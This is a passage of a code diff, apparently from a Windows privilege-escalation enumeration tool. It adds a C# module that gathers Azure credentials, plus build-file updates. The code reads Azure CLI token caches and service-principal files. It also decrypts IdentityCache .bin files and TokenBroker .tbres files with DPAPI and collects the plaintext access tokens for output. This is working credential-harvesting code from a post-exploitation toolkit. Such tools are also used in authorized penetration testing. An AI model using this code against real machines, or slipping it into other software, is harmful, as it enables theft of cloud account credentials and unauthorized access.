string tokenBrokerPath = Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft",
|
||||
"TokenBroker"
|
||||
);
|
||||
|
||||
return Directory.Exists(AzureFolderPath) || Directory.Exists(azureFolderPath) || Directory.Exists(identityCachePath) || Directory.Exists(tokenBrokerPath);
|
||||
}
|
||||
|
||||
public static string TBRESDecryptedData(string filePath)
|
||||
{
|
||||
var fileJSON = File.ReadAllText(filePath, Encoding.Unicode);
|
||||
fileJSON = fileJSON.Substring(0, fileJSON.Length - 1);
|
||||
|
||||
try
|
||||
{
|
||||
var jsonObject = JsonNode.Parse(fileJSON).AsObject();
|
||||
var encodedData = jsonObject["TBDataStoreObject"]["ObjectData"]["SystemDefinedProperties"]["ResponseBytes"]["Value"].ToString();
|
||||
var encryptedData = Convert.FromBase64String(encodedData);
|
||||
var decryptedData = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);
|
||||
string decodedData = Encoding.UTF8.GetString(decryptedData);
|
||||
|
||||
if (decodedData.Contains("No Token"))
|
||||
{
|
||||
return "";
|
||||
}
|
||||
|
||||
return decodedData;
|
||||
|
||||
}
|
||||
catch (System.Exception)
|
||||
{
|
||||
Beaprint.PrintException($"[!] Error Decrypting File: {filePath}");
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private List<EndpointData> GetAzureCliValues()
|
||||
{
|
||||
Dictionary<string, string> AzureCliValues = new Dictionary<string, string>();
|
||||
string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||
string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
|
||||
string azureFolderPath = Path.Combine(homeDirectory, ".azure");
|
||||
|
||||
string azureHomePath = azureFolderPath;
|
||||
|
||||
if (Directory.Exists(AzureFolderPath))
|
||||
{
|
||||
azureHomePath = AzureFolderPath;
|
||||
};
|
||||
|
||||
if (Directory.Exists(azureHomePath))
|
||||
{
|
||||
|
||||
// Files that doesn't need decryption
|
||||
string[] fileNames = {
|
||||
@"azureProfile.json",
|
||||
@"clouds.config",
|
||||
@"service_principal_entries.json",
|
||||
@"msal_token_cache.json"
|
||||
};
|
||||
|
||||
foreach (string fileName in fileNames)
|
||||
{
|
||||
string filePath = Path.Combine(azureHomePath, fileName);
|
||||
// Check if the file exists
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
try
|
||||
{
|
||||
// Read the file content
|
||||
string fileContent = File.ReadAllText(filePath);
|
||||
|
||||
// Add the file path and content to the dictionary
|
||||
AzureCliValues[filePath] = fileContent;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException($"Error reading file '{filePath}': {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Get the IdentityCache directory path and encrypted files with tokens
|
||||
string identityCachePath = Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft",
|
||||
"IdentityCache"
|
||||
);
|
||||
|
||||
string[] binFiles = { };
|
||||
|
||||
// Check if the directory exists
|
||||
if (!Directory.Exists(identityCachePath))
|
||||
{
|
||||
Beaprint.PrintException($"The directory '{identityCachePath}' does not exist.");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// Recursively find all *.bin files
|
||||
binFiles = Directory.GetFiles(identityCachePath, "*.bin", SearchOption.AllDirectories);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException($"An error occurred while scanning the identityCache directory: {ex.Message}");
|
||||
}
|
||||
|
||||
|
||||
// Files that need decryption
|
||||
string[] fileNamesEncrp = {
|
||||
@"service_principal_entries.bin",
|
||||
@"msal_token_cache.bin"
|
||||
};
|
||||
|
||||
foreach (string fileName in fileNamesEncrp.Concat(binFiles).ToArray())//.Concat(tbFiles).ToArray())
|
||||
{
|
||||
string filePath = fileName;
|
||||
|
||||
if (!fileName.Contains("\\"))
|
||||
{
|
||||
filePath = Path.Combine(azureHomePath, fileName);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
// Read encrypted file
|
||||
byte[] encryptedData = File.ReadAllBytes(filePath);
|
||||
|
||||
// Decrypt using DPAPI for the current user
|
||||
byte[] decryptedData = ProtectedData.Unprotect(
|
||||
encryptedData,
|
||||
null,
|
||||
DataProtectionScope.CurrentUser
|
||||
);
|
||||
|
||||
// Write decrypted data to output file
|
||||
AzureCliValues[filePath] = Encoding.UTF8.GetString(decryptedData);
|
||||
}
|
||||
|
||||
}
|
||||
catch (CryptographicException ex)
|
||||
{
|
||||
Beaprint.PrintException($"Decrypting {filePath} failed: {ex.Message}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException($"An error occurred: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//TBRES files
|
||||
string tokenBrokerPath = Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft",
|
||||
"TokenBroker"
|
||||
);
|
||||
|
||||
string[] tbFiles = { };
|
||||
|
||||
// Check if the directory exists
|
||||
if (!Directory.Exists(tokenBrokerPath))
|
||||
{
|
||||
Beaprint.PrintException($"The directory '{tokenBrokerPath}' does not exist.");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// Recursively find all *.bin files
|
||||
tbFiles = Directory.GetFiles(tokenBrokerPath, "*.tbres", SearchOption.AllDirectories);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException($"An error occurred while scanning the Token Broker directory: {ex.Message}");
|
||||
}
|
||||
|
||||
foreach (string filePath in tbFiles)
|
||||
{
|
||||
string TBRESContent = TBRESDecryptedData(filePath);
|
||||
if (TBRESContent.Length > 0)
|
||||
AzureCliValues[filePath] = TBRESContent;
|
||||
}
|
||||
|
||||
// Format the info in expected CloudInfo format
|
||||
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
foreach (var kvp in AzureCliValues)
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = kvp.Key,
|
||||
Data = kvp.Value?.Trim(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
if (_endpointData == null)
|
||||
{
|
||||
_endpointData = new Dictionary<string, List<EndpointData>>();
|
||||
|
||||
try
|
||||
{
|
||||
if (IsAvailable)
|
||||
{
|
||||
_endpointData.Add("Local Info", GetAzureCliValues());
|
||||
}
|
||||
else
|
||||
{
|
||||
_endpointData.Add("General Info", new List<EndpointData>()
|
||||
{
|
||||
new EndpointData()
|
||||
{
|
||||
EndpointName = "",
|
||||
Data = null,
|
||||
IsAttackVector = false
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return _endpointData;
|
||||
}
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,7 @@
|
||||
<package id="Costura.Fody" version="5.7.0" targetFramework="net48" developmentDependency="true" />
|
||||
<package id="EntityFramework" version="6.4.4" targetFramework="net452" />
|
||||
<package id="Fody" version="6.5.5" targetFramework="net48" developmentDependency="true" />
|
||||
<package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
|
||||
<package id="Microsoft.Bcl.AsyncInterfaces" version="9.0.1" targetFramework="net48" />
|
||||
<package id="Microsoft.NETCore.Platforms" version="1.1.0" targetFramework="net48" />
|
||||
<package id="Microsoft.Win32.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="NETStandard.Library" version="1.6.1" targetFramework="net48" />
|
||||
@@ -30,6 +30,7 @@
|
||||
<package id="System.IO.Compression.ZipFile" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.FileSystem" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.FileSystem.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.Pipelines" version="9.0.1" targetFramework="net48" />
|
||||
<package id="System.Linq" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Linq.Expressions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Memory" version="4.5.5" targetFramework="net48" />
|
||||
@@ -55,7 +56,8 @@
|
||||
<package id="System.Security.Cryptography.X509Certificates" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encoding" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encoding.Extensions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encodings.Web" version="9.0.1" targetFramework="net48" />
|
||||
<package id="System.Text.Json" version="9.0.1" targetFramework="net48" />
|
||||
<package id="System.Text.RegularExpressions" version="4.3.1" targetFramework="net48" />
|
||||
<package id="System.Threading" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Threading.Tasks" version="4.3.0" targetFramework="net48" />
|
||||
|
||||
@@ -129,8 +129,8 @@
|
||||
<Reference Include="EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
|
||||
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.9.0.1\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Win32.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll</HintPath>
|
||||
@@ -203,6 +203,9 @@
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.Pipelines, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.Pipelines.9.0.1\lib\net462\System.IO.Pipelines.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Linq, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
@@ -280,8 +283,11 @@
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
|
||||
<Reference Include="System.Text.Encodings.Web, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Text.Encodings.Web.9.0.1\lib\net462\System.Text.Encodings.Web.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Text.Json, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Text.Json.9.0.1\lib\net462\System.Text.Json.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Text.RegularExpressions, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<HintPath>..\packages\System.Text.RegularExpressions.4.3.1\lib\net463\System.Text.RegularExpressions.dll</HintPath>
|
||||
@@ -1220,6 +1226,7 @@
|
||||
<Compile Include="Info\CloudInfo\AWSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\AzureInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\EndpointData.cs" />
|
||||
<Compile Include="Info\CloudInfo\AzureTokensInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GPSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GCDSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GWorkspaceInfo.cs" />
|
||||
|
||||
Reference in New Issue
Block a user